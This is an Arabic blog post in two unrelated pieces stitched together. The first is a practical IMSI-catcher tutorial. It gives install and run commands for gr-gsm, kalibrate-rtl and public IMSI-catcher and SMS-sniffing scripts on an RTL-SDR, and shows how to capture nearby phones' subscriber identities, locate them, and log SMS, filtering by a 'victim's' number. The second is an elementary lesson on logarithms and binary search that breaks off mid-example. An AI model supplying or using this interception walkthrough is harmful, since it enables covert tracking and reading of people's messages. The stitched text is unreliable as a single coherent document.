يوميات مبعسس

تطبيق عملي لهجمة IMSI-Catcher

شركات الاتصالات يعرفون مكانك، يعرفون أين تذهب كل يومٍ، يعرفون أكنت تقود السيارة أم لا، يكفيهم أن يروا تواجدك في الساعة الثامنة مساءً إلى السابعة صباحًا في سجلاتهم لتحديد سكنك!

هاتفك يتواصل بانتظام مع أبراج الهواتف الجوالة لفضحك!

يتواصل بانتظام ليتمكن من استعمال الخدمة، فيقدرون على تحديد مقدار الوقت الذي تستغرقه الرسالة ذهابًا وإيابًا من هاتفك إلى برج الهاتف الجوال، ويقدرون على تحديد مكانك بدقة عالية عبر تثليث برج الهاتف الجوال Tower Triangulation.

حتى إن لم يكن في هاتفك شريحة SIM، فما زال هاتفك يتواصل مع أبراج الاتصال، ألم تفكر بخاصية الاتصال برقم الطوارئ 911 دون شريحة؟

فما الشريحة إلا تصريح وهوية تميزك وتمكنك من استعمال الخدمة التي تقدمها شركة الاتصال من اتصال وإرسال رسائل وغيرهما فقط، فما زال هاتفك يفضحك حتى وهو دون شريحة SIM!

 

واقعة حقيقية

ذُكِرَ في كتاب «الطوفان الرقمي» حادثة لامرأة انحرفت سيارتها عند رجوعها فسقطت في وادٍ شديد الانحدار. ظلت ثمانية أيام حبيسة السيارة تعاني من جفاف وألم في مواضع الإصابة، وكادت تهلك.

عُثِرَ على المرأة التي فُقِدَت بسبب الحادث نظرًا لاحتفاظ شركات اتصالات الهاتف الجوال بسجلات لمواقع مكالماتها الهاتفية، مواقع مكالماتها!

كيف يفضحك هاتفك؟

حين تحمل هاتفك الجوال، فإنه يرسل بانتظام أمر «اختبار اتصال»، وهو رسالة فحواها «أنا هنا!».

يظل هاتفك الجوال يرسل أمر اختبار الاتصال ما لم تغلقه، وتتولى أبراج الهواتف الجوالة القريبة التقاط ذاك الأمر، وتُرسله إلى شركة اتصال الهاتف الجوال التي تتعامل معها، مثلًا في اليمن شركة اتصالات الهاتف الجوال يمن موبايل Yemen Mobile.

هذه الطريقة تتطلب أن تتعامل مع شركة اتصالات الهاتف الجوال لطلب السجلات، وهذا لا يقدر عليه إلا الحكومة وأجهزة الاستخبارات، لتعقب المشتبه به أو المجرم أو في حالة ضياع الفرد.

فما الحل للتملص من هذه الرقابة الجائرة؟

لا تعجل، اكمل القراءة فسأخبرك به في النهاية.

ربما سمعتَ التحذيرات لأهل غزة في الآونة الأخيرة من عدم استعمال الهواتف الجوالة كيلا يحدد الكيان الصهيوني أماكن عناصر المقاومة، أتعلم لِمَ؟

لأن المخترق يستطيع معرفة مكانهم، لا حاجة لطلب ذلك من شركة اتصالات الهاتف الجوال، فإنه سيستعمل هجمة غير قانونية، هجمة لاقط الهوية الدولية لمشترك الجوال، بالإنگليزية IMSI catcher.

ما هو IMSI

لكن ما هي الهوية الدولية لمشترك الجوال international mobile subscriber identity، اختصارًا IMSI؟

الهوية الدولية لمشترك الجوال IMSI: رقم فريد يتكون عادةً من خمسة عشر رقمًا، يميَّز المشترك في شركة اتصالات الهاتف الجوال، وهو مضمن في الشريحة SIM.

يتكون هذا الرقم من ثلاث مجموعات، هي على التوالي:

المجموعة الأولى: رمز الهاتف الجوال MCC، يحدد بلد المشترك، يتكون من رقمين أو ثلاثة أرقام.

المجموعة الثانية: رمز شبكة الهاتف الجوال MNC، الذي يحدد رمز مشغل شبكة الهاتف الجوال MON، المرتبط به المشترك، يتكون من رقمين أو ثلاثة أرقام.

المجموعة الثالثة: رقم مشترك الهاتف الجوال MSIN، ويتكون من تسعة أو عشرة أرقام.

 

احفظ هذه الاختصارات الإنگليزية لأننا سنراها اليوم…

عند الحديث عن الهوية الدولية لمشترك الجوال فيلزمنا ذكر الهوية الدولية للأجهزة الجوالة IMEI أيضًا، فبهاتين الهويتين يمكنهم تحديد هوية الشخص بدقة إن حضر مظاهرة سياسية مثلًا، فإن لكل فردٍ هاتف جوال خاص به، يصطحبه معه أينما ذهب.

إن عرفوا الهويتين (IMSI وIMEI) فيمكنهم كشف هويتك، فقد وجدت وريقات بحثية عن هذا أثناء بحثي وكتابة مقال اليوم، فاحذر فالأمر ليس بهين!

هجمة IMSI Catcher

هجمة لاقط الهوية الدولية لمشترك الجوال هجمة ممنوعة في دول العالم، وهي حكر على الحكومة وأجهزة الاستخبارات للقبض على المجرم، لتحديد مكانه والتنصت على رسائله واتصالاته، وقد تُستعمل على الأفراد، مثلًا في المظاهرات السياسية وحتى في مباريات كرة القدم لتتبعه!

كما قرأتَ، يمكن تحديد مكانه والتنصت على رسائله ومكالماته، بل وتعديل رسائله، وكل هذا يحدث في الخفاء ولا يعرف الضحية ما يحدث!

كيف تعمل

لاقط الهوية الدولية لمشترك الجوال يعترض البيانات المارَّة للهاتف الجوال، يعترضها فيقدر على تعديلها والتنصت عليها، كأنه يوهم هاتفك الجوال بأنه برج الاتصال، ولأنه أقرب إلى هاتفك وأقوى إشارة فإن هاتفك الجوال سيتصل به، ولن يفرق هاتفك بين البرج الأصلي والوهمي.

هذه الهجمة تندرج ضمن هجمات الوسيط Man in The Middle Attacks. إنك الوسيط الذي يعترض البيانات المارَّة، فتراها وتعدل عليها، مثلًا تقرأ الرسائل وتتنصت على المكالمات وتلتقط الهوية الدولية لمشترك الجوال.

هذا يحدث بسبب ثغرة أمنية في النظام العالمي لاتصالات الهواتف الجوالة (بالإنجليزية: Global System for Mobile Communications)‏ اختصارًا GSM. فإن هذه التقنية تطلب أن يتحقق برج الاتصال من الهاتف، أما الهاتف فلا يتحقق من برج الاتصال، وهذه هي الثغرة!

تُباع أجهزة مخصصة لتنفيذ هذه الهجمة حصرًا، أجهزة IMSI-Catcher، وهي غالية الثمن وممنوعة على الأفراد وستتسبب في سجنهم إن حصلوا عليها!

لكننا اليوم سننشئ واحدًا بسعر زهيد جدًا، سننشئ لاقط الهوية الدولية لمشترك الجوال في المنزل، للجيل الثاني 2G والثالث 3G. لهذين الجيلين فقط، لِمَ؟

أين الجيل الرابع 4G يا مبعسس!

اعلم أيها السائل أن أجهزة كثيرة ما زالت تستعمل الجيل الثاني والثالث في أنحاء العالم وعددها ضخم، فلم ينقرضا هذين الجيلين بعد، فما زالا مفيدين ومنتشرين جدًا.

أيضًا لو وجدت إقبالًا على هذا المقال فإني سأفرد مقالًا مستقبليًّا عن الجيل الحديث، مثل LTE و4G و5G لتطبيق هجمة لاقط الهوية الدولية لمشترك الجوال IMSI catcher. وهذا يعتمد عليكم إن أردتم ذلك أم لا. فإن هذا الجيل الحديث أكثر تعقيدًا ويحتاج إلى تفصيلٍ.

إخلاء المسؤولية

الغرض من هذا المقال تعليمي بحت، ولست مسؤولًا عن أي استعمال خاطئ له، فكل نفسٍ وازرة وزرها، فلا تزر وازرة وزر أخرى، وأنا لا أتحمل أوزار غيري.

ما نحتاجه

نحتاج شيئين فقط:

  1. نحتاج إلى نظام لينُكس، مثلًا كالي لينُكس.
  2. جهاز رخيص السعر سعره 32 دولارًا على موقع أمازون، اسمه rtl-sdr (RTL2832U).

اسم المنتج:
RTL-SDR Blog RTL SDR V3 R820T2 RTL2832U 1PPM TCXO SMA RTLSDR Software Receiver Defined Radio

ابحث عنه في محرك البحث وسيظهر لك أول نتيجة. هذا الجهاز قانوني تمامًا ولا حرج فيه، وتقدر على شراءه رقميًّا، فلا تخف. 🙂

تثبيت المتطلبات

سنحتاج إلى عِدَّة برمجيات لتنفيذ هذه الهجمة. وأول برمجية نحتاجها gr-gsm، وهي عُدَّة أدوات لاستقبال بث النظام العالمي لاتصالات الهواتف الجوالة GSM (بالإنجليزية: Global System for Mobile Communications)‏، وستعمل هذه البرمجية مع أي قطعة للراديو المعرَّف برمجيًا Software-Defined Radio، مثل التي ذكرناها ضمن المتطلبات (أي rtl-sdr).

توجد هذه البرمجية في مستودعات توزيعة كالي لينُكس التي سنستعملها لتطبيق الشرح، ويمكن بناءها من المصدر from source code، وسنبنيها من المصدر تجنبًا لأي خطأ ولسهولة تطبيقها على بقية التوزيعات. قبل تثبيتها سنثبت بعض الاعتماديات التي تحتاجها البرمجية.

افتح مطرافًا Terminal واكتب:

sudo apt-get install cmake autoconf libtool pkg-config build-essential python-docutils libcppunit-dev swig doxygen liblog4cpp5-dev gnuradio-dev gr-osmosdr libosmocore-dev liborc-0.4-dev swig -y

الآن سنجلب رِمَازها المصدري لنبنيها من المصدر:

git clone https://git.osmocom.org/gr-gsm

الآن نبدأ بالبناء من المصدر:

cd gr-gsm && mkdir build && cd build && cmake .. && make -j 4 && sudo make install && sudo ldconfig

نغير متغير البيئة PYTHONPATH بالأمر التالي إذا كنت تستعمل المظرف shell المسمى bash:

sudo echo 'export PYTHONPATH=/usr/local/lib/python3/dist-packages/:$PYTHONPATH' >> ~/.bashrc

أما إن كنت تستعمل المظرف zsh فطبق الأمر التالي:

sudo echo 'export PYTHONPATH=/usr/local/lib/python3/dist-packages/:$PYTHONPATH' >> ~/.zshrc

لمعرفة أي مظراف تستعمل اكتب الأمر التالي وسيظهر لك:

echo $0

نثبت برمجية kalibrate-rtl: وهي برمجية للبحث عن الأبراج التي تبث الإشارة في نطاق تردد معين:

sudo apt install kalibrate-rtl

الآن نجلب مستودع للاقط الهوية الدولية لمشترك الجوال IMSI Catcher:

git clone https://github.com/Oros42/IMSI-catcher

ونجلب مستودعًا آخر يمكننا من التقاط الرسائل المرسلة SMS، بالأمر التالي:

git clone https://github.com/0xbitx/dedsecimsi

ونثبت اعتمادياته بالأمر التالي:

sudo apt install python3-pip
pip3 install pyshark flask flask_socketio sqlite3

تحديد تردد برج الاتصال

الآن علينا تحديد برج الاتصال وتحديد تردده. والذي سيرينا ذلك هي برمجية kalibrate-rtl التي سبق وثبتناها.

لنستعرض أهم الخيارات في kalibrate-rtl اكتب:

kal -h

كلمة kal اختصار لاسمها (kalibrate-rtl)، أما h- فاختصارًا لكلمة مساعدة help. وكما ترى في الخيار s-، الذي هو اختصار لكلمة بحث scan، فإنه يطلب منا اختيار إحدى التقنيات الست الظاهرة:

  1. GSM850
  2. GSM-R
  3. GSM900
  4. EGSM
  5. DCS
  6. PCS

 

وتلك الخيارات الست هي نطاق تردد النظام العالمي لاتصالات الهواتف الجوالة GSM، فأي واحدة نختار؟

يعتمد ذلك على الدولة التي ستستعملها فيه. مثلًا إذا كنت في أمريكا الشمالية أو الجنوبية ستختار GSM850 أو PCS، لأن هذه هي نطاقات التردد المستعملة في تلك المناطق.

إذا كنت في أوروبا أو آسيا أو أفريقية ستختار GSM900 أو EGSM، لأنها المستعملة هناك.

إذا كنت في اليمن ستستعمل GSM900، لأن اليمن في قارة آسيا.

وكما ترى أيضًا، يمكننا تحديد الكسب gain، كسب الجهاز rtl-sdr المستعمل في شرحنا، بالخيار g-. والكسب هو مصطلح في الهوائيات، يساوي حاصل ضرب الاتجاهية في كفائة الهوائي للتوصيل، يُقاس بالديسيبل dB.

 

لم أجد له تعريبًا حتى الآن، لذا سنستعمل على مضض هذه اللفظة، ديسيبل.

كم نضعه؟
إن كان الكسب عاليًا فإنه سيضخم الإشارة، وهذا مفيد إذا كان الإشارة المستقبلة ضعيفة، لكن إذا كان الإشارة قوية ووضعت الكسب على قيمة عالية فقد يتسبب في تشويش الإشارة أو قطعها بسبب تضخمها. وفي هذه الحالة، أي الإشارة مرتفعة، نضعه على قيمة منخفضة.

وكما فهمت، فإن الكسب يعتمد على قوة الإشارة التي تحاول استقبالها. لذا ابدأ بقيمة منخفضة للكسب وزدها تدريجيًا حتى تستقبل الإشارة المطلوبة.

لنشغلها مع قيمة كسب 45، اكتب الأمر:

sudo kal -s GSM850 -g 45

ننتظر قليلًا وستظهر أبراج الاتصال. وكما ترى في الصورة فقد ظهر لنا برجين:

وهما بين النطاق 889.0Mhz و890.0Mhz، وهي التي استقبلها الجهاز RTL-SDR (24-1766Mhz).

بدء المراقبة

الآن سنبدأ مراقبة البيانات المارَّة، ولهذا الغرض سنحتاج إلى أداة grgsm_livemon، وكما ترى من اسمها فهي اختصار لكلمتي live monitoring، أي مراقبة لحظيًّة، حيَّة، في الوقت الفعلي.

ادخل إلى دليل gr-gsm الذي سبق وحملناه:

cd gr-gsm

الآن سنشغل grgsm_livemon مع الخيار f-، وهو اختصار لتردد frequency، وسنعطيه أحد النطاق الترددي الذي حصلنا عليه سابقًا من برمجية kalibrate-rtl، مع إضافة قيمة الكسب، وسيكون الأمر:

sudo grgsm_livemon -f 889.0M -g 45

بعد تنفيذ الأمر السابق ستنبثق لك نافذة رسوميَّة، وتقدر على تعديل التردد، كما يشير السهم في الصورة:

لماذا نحتاج إلى هذه الخطوة؟

لبناء لاقط الهوية الدولية لمشترك الجوال IMSI-catcher من المهم أن يكون لديك طريقة لمراقبة وتحليل البيانات المارَّة للهاتف الجوال المستهدف. وهنا يأتي دور أداة grgsm_livemon.

بضبطها ضبطًا صحيحًا ستراقب إشارات النظام العالمي لاتصالات الهواتف الجوالة GSM في نفس وقت مرورها، كأنك وسيط يعترضها، لهذا تُعدُّ هذه الهجمة من هجمات الوسيط MITM attacks.

بدء الهجمة

الآن سنبدأ الهجمة ونشغل لاقط الهوية الدولية لمشترك الجوال الذي ثبتناه سابقًا. انتقل إلى الدليل وشغله ملف simple_IMSI-catcher.py مع الخيار s-:


cd IMSI-catcher

sudo python simple_IMSI-catcher.py -s

هل تتذكر هذه الاختصارات التي قلت أن تتذكرها في بداية المقال؟

الآن بدأ العمل!
انتظره وهو سيلتقط الهوية الدولية لمشترك الجوال، كهذه الصورة:

 

تود تحديد مكانه؟

ادخل إلى هذا الرابط:

cell2gps.com

ثم استبدل المعلومات التي في الموقع بالمعلومات التي ظهرت وستعرف مكان تواجده.

التقاط الرسائل

ندخل إلى دليل dedsecimsi بالأمر التالي:

cd dedsecimsi

ولكي نلتقط الرسائل ونحفظها في ملف sqlite نكتب:

sudo python sms.py -s example.db

وسيلتقط جميع الرسائل ويحفظها في ذلك الملف.

ولحفظ الهوية الدولية لمشترك الجوال إلى ملف كما فعلنا مع الرسائل نفذ:

 sudo python imsi.py -s example.db

إن أردت رؤية التقاط الرسائل لشخص واحد دون غيره فاكتب:

 sudo python sms.py -n phone_number_here

استبدل phone_number_here برقم الضحية، على سبيل المثال:

 sudo python sms.py -n 05000000000

 

 

كيف أحمي نفسي

قفص فاراداي من الحلول شبه الرخيصة، يشبه حقيبة تضع فيها هاتفًا فيعزله عن العالم الخارجي، يعزله عن المؤثرات الكهرومغناطيسية، فإن وضعته داخلها ستضيع التغطية ولن يقدر على استقبال أو إرسال أي شيء، وهو واحد من الحلول الرائعة جدًا!

إن كنت تود حلًا آخر فليس عندك إلا أن لا تحمل هاتفك الجوال إن أردت فعل شيء، فالهاتف لم يُصمم لحماية الخصوصية البتة، فكما قيل: هاتفك الجوال أعظم واشٍ ستقابله!

احذر عند استخدام هذه الهجمة، فإنهم صنعوا أجهزة مخصصة لكشف هجمة لاقط الهوية الدولية لمشترك الجوال، وقد يُقبَض عليك وتُسجَن!

الخاتمة

في نهاية الأمر لا يسعني سوى أن أشكُرك على حسن قراءتك لهذا المقال، وأني لبشر أصيب وأخطئ، فإن وفِّقت في طرح الموضوع فمن اللّٰه عزَّ وجل وإن أخفقت فمن نفسي والشيطان.

شارك بتعليقك

ألم تفكر كيف تعرض لك مواقع التواصل الاجتماعي المنشورات حسب اهتمامك؟
تبحث عن شيء في الفيسبوك أو تتوقف قليلًا للنظر في منشور ما عليه فتجده قد عرض لك منشورات وإعلانات عن ذلك الشيء. تشاهد مقطعًا ما عن الأكل فتجده قد عرض عليه مقاطع ومنشورات وإعلانات عن الأكل!

كل ذلك يحدث بخوارزمية برمجها مبرمج وهي مصممة لعرض المنشورات التي تهمك، تحلل كل شيء عنك لعرض المنشورات لك، مثلًا إذا فعل المستخدم كذا وكذا، وإذا توقف هنا لمدة كذا وكذا، فافعل كيت وكيت…

كل شيء تنشره عن نفسك يستخدم لتعليم الذكاء الاصطناعي وتعزيز الخوارزميات لعرض الإعلانات لك. الخوارزميات العمود الفقري للذكاء الاصطناعي الذي نراه اليوم!

الخوارزميات لا بُدَّ منها للمبرمج، فإنها:
1. تحسن طريقة تفكيره، وكتابته للرِمَاز البرمجي code.
2. وتساعد على وضوح الأفكار وتنظيمها.
3. وحل المشكلات المعقدة بفعالية وبأقل المصادر، والأخير ما تبحث عنه الشركات.

الخوارزميات تُدرَّس في الجامعات للطلبة في علوم الحاسوب. دون فهم الخوارزميات سيصعب على المبرمج فهم وكتابة البرامج، فتصبح مهمة كتابة برنامج سريع لحل مشكلة بأفضل طريقة مهمة شاقة وصعبة، بل ومستحيلة!

لقلة المصادر العربية التي تشرح الخوارزميات وأساسياتها التي يحتاجها المبرمج بتدرج ويسر، فقد قررت شرح كتاب أعجمي نفيس يُعدُّ مدخلًا رائعًا لدراسة الخوارزميات، بلغة عربية لمن لا يُجيد الإنگليزية.

الكتاب يشرح الخوارزميات بسهولة وبرسومات تسهل الفهم، اسم الكتاب «استيعاب الخوارزميات Grokking Algorithms»، وسأشرحه بمقالات منفصلة، كل مقالة تتناول موضوعًا أو أكثر، حتى ننتهي من الكتاب، وهذه المقالات ستغنيك عن قراءة الكتاب.

متطلبات الدورة

كل ما تحتاجه للبدء معرفة بأساسيات لغة برمجية، مثل لغة python أو C أو أي لغة أخرى، لكن الأمثلة المضروبة في الكتاب مكتوبة بلغة python لكني سأضيف أيضًا أمثلة بلغة C.

أما المعرفة الرياضية فتكفي معرفة الأساسيات من ضرب وقسمة وطرح وجمع، وأيضًا الأسس، وكلما أحتجنا لمفهوم رياضي فإني سأشرحه لك قبل البدء في الدرس، كما سأفعل اليوم بشرح الأسيس (تعريب كلمة اللوغارثيم logarithm).

نتوكل على الله ونبدأ!

الأسيس

هل تتذكر الأسس؟
الأس هو عدد المرات التي يضرب فيها الأساس في نفسه، مثلًا الرقم 5²، يُقرأ خمسة أس اثنين، ورقم خمسة هو الأساس، واثنين أس خمسة يعني ضرب الرقم خمسة في نفسه مرتين:

5x5 = 25

إذن فإن خمسة أس اثنين 5² يساوي 25، وبالمثل فإن 10³ يساوي:

10x10x10 = 1000

إذن فإن عشرة أس ثلاثة يساوي ألف (10³ = 1000).

حل هذه الأمثلة قبل مواصلة القراءة:

8³ = ?
4² = ?
5³ = ?
9² = ?

حسنًا، ما الأسيس (اللوغاريثم logarithm)؟
هو صورة مختلفة للأس فقط!
التعريف يقول: أسيس (لوغاريثم) أي عدد لأساس معلوم هو الأس الذي يُرفَع له الأساس المعلوم كي يعطينا العدد.

إن فهمت التعريف فخير وبركة وإن لم تفهمه فتابع الشرح.

تذكر هذا المعادلة جيدًا:

5² = 25

لنطبق التعريف على المعادلة المذكورة آنفًا (5² = 25):

أسيس العدد 25 (لأن العدد في معادلتنا هو 25)، للأساس المعلوم 5 (لأن الأساس في معادلتنا هو 5)، هو الأس الذي يُرفَع له الأساس المعلوم (أي 5) كي يعطينا العدد (أي العدد 25)، إذن ما هو الأس الذي إذا رفعنا الأساس 5 إليه أعطانا العدد 25؟

عليك نور، هو الأس 2، فلو رفعنا الأساس 5 إلى الأس 2 فإن العدد الذي سنحصل عليه هو العدد 25.

هل فهمت الآن لماذا قلت إن الأسيس هو صورة مختلفة للأس فقط؟
فنحن نحاول إيجاد الأس الموضوع فوق الرقم 5 الذي سيعطينا (إذا ضربنا الرقم 5 في نفسه حسب الأس الموضوع) العدد 25 فقط.

وبعبارة أسهل وأوضح، فنحن نقول: ما الأس الذي إذا رفعناه للأساس 5 سيعطينا العدد 25؟
والجواب سيكون: الرقم اثنين، فإن 5×5 يساوي 25.

ولكتابة الأسيس بصيغة رياضية فإنه يمثل بالعربية بالرمز (لو):

لو5 (25) = 2

وبصيغة إنگليزية:

log5 (25) = 2

ونقرأه: أسيس العدد 25 للأساس المعلوم 5، فأن العدد هو 25، والأساس المعلوم هو 5.

لو: لوغاريثم logarithm، وهي كلمة أعجمية عُرِّبت إلى أسيس، ولكن ساد وغلب المصطلح الأعجمي لوغاريثم logarithm، ومنه أُخِذَ (لو).

مثال آخر:
حل المسألة التالية:

لو2 (8) = ؟

log2(8) = ?

يُقرَأ: أسيس العدد 8 للأساس المعلوم 2 يساوي كم؟
أي: ما الأس الذي إذا رفعناه للرقم 2 سيعطينا العدد 8؟

الحل سيكون الأس 3، فلو رفعنا الأساس 2 للرقم 3 فإنه سيعطينا العدد 8، لأن ضرب الرقم 2 في نفسه ثلاث مرات (2×2×2) يساوي 8:

log2 (8) = 3

لو2 (8) = 3
ويقرأ: أسيس (لوغاريثم) العدد ٨ للأساس المعلوم ٢ يساوي ٣.

أسئلة لاختبار فهمك:
أ. أي من الاختيارات الأربعة يعادل 32 = 2⁵:
1. لو2 (32) = 5
2. لو5 (2) = 35
3. لو32 (5) = 2

ب. أي من الاختيارات الأربعة يعادل 125 = 5³:
1. لو3 (125) = 5
2. لو5 (125) = 3
3. لو125 (5) = 3

ج. اكتب لو4 (16) = 2 بصيغة أسيَّة.
د. اكتب لو2 (64) = 6 بصيغة أسيَّة.

هـ. حل المسائل التالية:
لو6 (36) = ؟
لو3 (27) = ؟
لو4 (4) = ؟
لو1 (5) = ؟

الخوارزمية


الخوارزمية: مجموعة الخطوات الدقيقة والمنطقية المتسلسلة لحل مشكلة ما.

يمكن تسمية كل تعليمة من الرِمَاز البرمجي بخوارزمية، لأن الرِمَاز البرمجي كاملًا ليس إلا خوارزمية لحل مشكلة ما.

كلمة «خوارزمية» في ذاتها لا توضِّح معناها لهذا عرفتها في البداية. الخوارزمية مشتقة من اسم محمد بن موسى الخوارزمي (من عام ٧٨٠ إلى عام ٨٥٠ تقريبًا)، وهو عالِم رياضيات وفلك مسلم وهو أول من ابتكرها في القرن التاسع الميلادي.

تعدَّدت إسهامات الخوارزمي وانتشرت على نطاق واسع. فمصطلح «الجبر» مشتقٌّ من العنوان العربي لأكثرِ كتبه تأثيرًا وهو كتاب «المختصر في حساب الجبر والمقابلة».

أُدخل اسم الخوارزمي إلى اللغة اللاتينية وصار Algorismus والذي أصبح يشير إلى طريقة الحساب العددي باستخدام الأعداد العشرية. تأثَّر المصطلح اللاتيني Algorismus بالكلمة اليونانية arithmos وتعني «العدد» (مثل كلمة arithmetic وتعني علم الحساب)، ومِن ثَم أصبحت algorithm بمعنى خوارزمية، وظلت تشير إلى العمليات الحسابية العشرية، قبل أن تكتسب معناها الحديث في القرن التاسع عشر.

عندما تُعدُّ كأس قهوة فإن الخطوات الدقيقة والمتسلسة لحل لتحضير القهوة تسمى خوازرمية، فالخوارزميات نستخدمها في حياتنا اليومية بداهةً، فتح الباب وغسل الملابس وغيرهما…

خوارزمية البحث الثنائي والبدائي

لنفترض أنك ترغب بالبحث عن شخص اسمه كمال في دليل الهاتف القديم، وبما أن اسمه كمال فإنك ستجد رقمه في الأسماء التي تبدا بحرف الكاف. لن تفتح الكتاب من البداية وتبدأ بتقليب الصفحات صفحة صفحة لتصل إلى حرف الكاف، بل قد تفتح دليل الهاتف من النصف آملًا أن تكون قريبًا من حرف الكاف، فهذا أسهل وأسرع.

ولنفترض أنك تبحث عن معنى كلمة قاتل في المعجم الوسيط، فأنك لن تفتحه وتبدأ بالبحث عن الكلمة في كل صفحة حتى تصل إليه، فإن قاتل من الجذر قَتَلَ، فستفتح باب حرف القاف مباشرةً إن كنت تعرف صفحته، ولكن ردة الفعل الطبيعية أن تفتح المعجم من منتصفه لترى هل أنت قريب من حرف القاف؟

إن كان حرف القاف بعيدًا فأنك ستستمر بنفس الحركة السابقة، أن تفتح المعجم الوسيط من منتصفه المتبقي مرة أخرى، وهذا يختصر عليك الجهد والوقت، وأقصد من منتصفه المتبقي المنتصف الذي يتواجد به حرف القاف، فإن فتحت المعجم من منتصفه وكان الحرف الذي أمامك حرف السين فأنك ستفتحه مجددًا من الحروف التالية، التي تلي حرف السين.

ولنفترض أنك تسجل في حسابك على الفيسبوك، فإن الفيسبوك يتحقق من وجود حسابك على الموقع بالبحث في قاعدة بياناته عنه. لو كان اسم مستخدمك هو سعيد Saed فخل تتوقع أن يبدأ بالبحث عنه من البداية من حرف الألف A حتى آخر حرف وهو الذي يمتلك مستخدمين يصل عددهم إلى آلاف مؤلفة؟!

من المنطقي أن يبدأ بالبحث عنه في مكانٍ ما في الوسط، فهذا أسرع وأسهل.

مما سبق يتضح لك أن ما واجهناه يسمى مشكلة بحث، وكل الافتراضات السابقة تستخدم نفس خوارزمية البحث لحل المشكلة: خوارزمية البحث الثنائي binary search.

سميت بخوارزمية البحث الثنائي لأنها تقسم الائحة المراد البحث داخلها عن عنصر ما إلى نصفين مرارًا وتكرارًا حتى تجد العنصر المطلوب.

خوارزمية البحث الثنائي تستقبل لائحة مرتبة من العناصر sorted list، ويجب أن تكون اللائحة مرتبة. إن كان العنصر الذي تبحث عنه في اللائحة متواجدًا فيها فإن خوارزمية البحث الثنائي سترجع موقع العنصر حيث يُخزَّن، وإن لم تجده ستعيد قيمة فارغة أو خالية null.

أظنك فهمت القيمة الفارغة null بما أنك مبرمج.

مثلًا لو وجدت خوارزمية البحث الثنائي اسم سعيد فإنها ستعيد موقعه حيث يُخزَّن، لنفترض أن موقعه 1400، أما إن لم تجده فإنها ستعيد إرجاع قيمة فارغة null.

لنلعب لعبة!

سأفكر برقم محصور بين الواحد والرقم مائة، وأنت ستخمن الرقم في أسرع محاولات ممكنة. في كل تخمين ستقوله سأخبرك إذ كان الرقم الذي خمنته صحيحًا أو يكبر الرقم الذي أفكر به too high، أو يصغره too low.

سأفترض أنك أردت أن تتذاكى عليَّ وخمنتَ بالطريقة البدائية التقليدية هكذا: واحد، اثنان، ثلاثة، أربعة، خمسة، إلخ…

سيبدو كالرسومات التالية:
تقول: واحد؟
أجيبك: لا، بل يكبره.

تقول: اثنان؟
أجيبك: لا، بل يكبره.


الطريقة التي استعملتَها في تخمين الرقم الذي أفكر به رقمًا رقمًا يسمى بخوارزمية البحث البدائي أو التقليدي حسب ما يسميها الكاتب في كتابه، وتسمى أيضًا خوارزمية البحث الخطية liner search، وهذه الخوارزمية بطيئة فأنك محدود برقم واحد في كل تخمين، وستحتاج إلى تسعة وتسعين مرة تخمين إن كان الرقم الذي أفكر به تسعة وتسعين، أليس هذا متعبًا؟

لن ألعب معك إن كنت ستضيع الوقت هكذا!

لنتبادل الأدوار في اللعب، أنت تفكر برقم وأنا أخمنه، سأريك كيف أن خوارزمية البحث الثنائي binary search أسرع من خوارزمية البحث البدائي simple search. لنفترض أن الرقم الذي تفكر به هو 57:

سأبدأ بتقسيم اللائحة المرتبة إلى نصفين (أتفقنا أن الرقم محصور بين الرقم واحد ومائة، إذن فإن اللائحة مرتبة!)، وسأبدأ من الرقم خمسين 50.

أقول: أهو الرقم 50؟
تُجيب: خطأ، يكبره.

انظر كيف خمنت أكثر من خمسين رقمًا في مرة واحدة، بما أنه يكبره فلا يعقل أن أعيد وأقول لك: أهو الرقم 47؟
لأني أعلم بأن الرقم يكبر الذي تفكر به يكبر الرقم 50. هيا سأكمل وأقسم الجزء المتبقي إلى نصفين مرة أخرى.

أقول: أهو الرقم 75؟
تُجيب: خطأ، يصغره!

يصغر الرقم 75 لكني تخلصت من خمسة وعشرين رقمًا في تخمين واحد!
خوارزمية البحث الثنائي تقسم الائحة مرارًا وتكرارًا إلى نصفين، وفي كل مرة تختصر نصف اللائحة. هيا، لنستمر بالتخمين، هذه المرة سأقول 63، لأن الرقم في منتصف الأرقام بين 50 و75 هو 63.

أقول: أهو الرقم 63؟
تُجيب: أخطأت، يصغره!

أقول: أهو الرقم 57؟
تُجيب: أحسنت، صحيح!


الرقم الذي ينتصف الأرقام بين 63 و50 هو 57!
هنيئًا لك، ها أنت تعلمت خوارزمية بحثك الأولى، خوارزمية البحث الثنائي!

لا يهم أي رقم فكرت به حتى وإن كان الرقم مائة، فإني سأخمنه بتخمينات أقصاها سبعة تخمينات فحسب.

اسأبدأ التخمين من الرقم مائة، من النهاية، والرقم الذي أفكر به هو الرقم واحد، انظر كم سيأخذ الأمر مني محاولات، سبعة تخمينات فقط:

مثال ثانٍ

لنفترض أنك تبحث عن كلمة في قاموس عدد كلماته 240,000 كلمة. في أسوأ حالة worst case، وأسوأ حالة أن تكون الكلمة في نهاية القاموس (اللائحة)، كم خطوة ستأخذ كل خوارزمية بحث من خوارزميتي البحث الثنائي والبدائي لإيجاد كلمة ما في القاموس الذي عدد كلماته 240,000 كلمة؟

ستأخذ خوارزمية البحث البدائي 240,000 خطوة إذا كانت الكلمة في نهاية القاموس، لكن في خوارزمية البحث الثنائية ستقسم عدد الكلمات إلى نصفين، وهكذا سننتهي بالكلمة المطلوبة، وستأخذ خوارزمية البحث الثنائية 18 خطوة فقط!

أليس الفرق شاسعًا بينهما؟

أظنك تتساءل لو كان لديك رقم ضخم، لنقل ألف ألف رقم (million)، هل ستأخذ الورقة والقلم وتبدأ بتقسيمه كل مرة إلى نصفين لتعرف عدد الخطوات؟

أبدًا لا، هنا يأتي دور الرياضيات، وتحديدًا ما تعلمته في بداية الدرس، أنه الأسيس!

القاعدة تقول: لأي لائحة من س، فإن خوارزمية البحث الثنائية ستستغرق لو2 (س) خطوة في أسوأ حالة in the worst case، أما خوارزمية البحث البدائية ستستغرق س خطوة في أسوأ حالة.

استعمل الآلة الحاسبة لإيجاد حل المسألة الرياضية السابقة (لو2 (س)).

يرجى الإنتباه، سيكون الأساس للأسيس دائمًا هو 2، فإني في بقية المقالات سأستعمل (لو) متبوعًا بحجم اللائحة، ولن أكتب الأساس 2. لكن لماذا الأساس المعلوم هو الرقم 2؟

لأن الحاسوب لا يفهم إلا الآحاد والأصفار، نظام العد الثنائي binary system فقط الذي أساسه الرقم 2.

لنحاول تطبيق القاعدة:
لدية لائحة عدد عناصرها 1024 عنصرًا، إذا طبقنا القاعدة فإن:
لو (1024) = 10
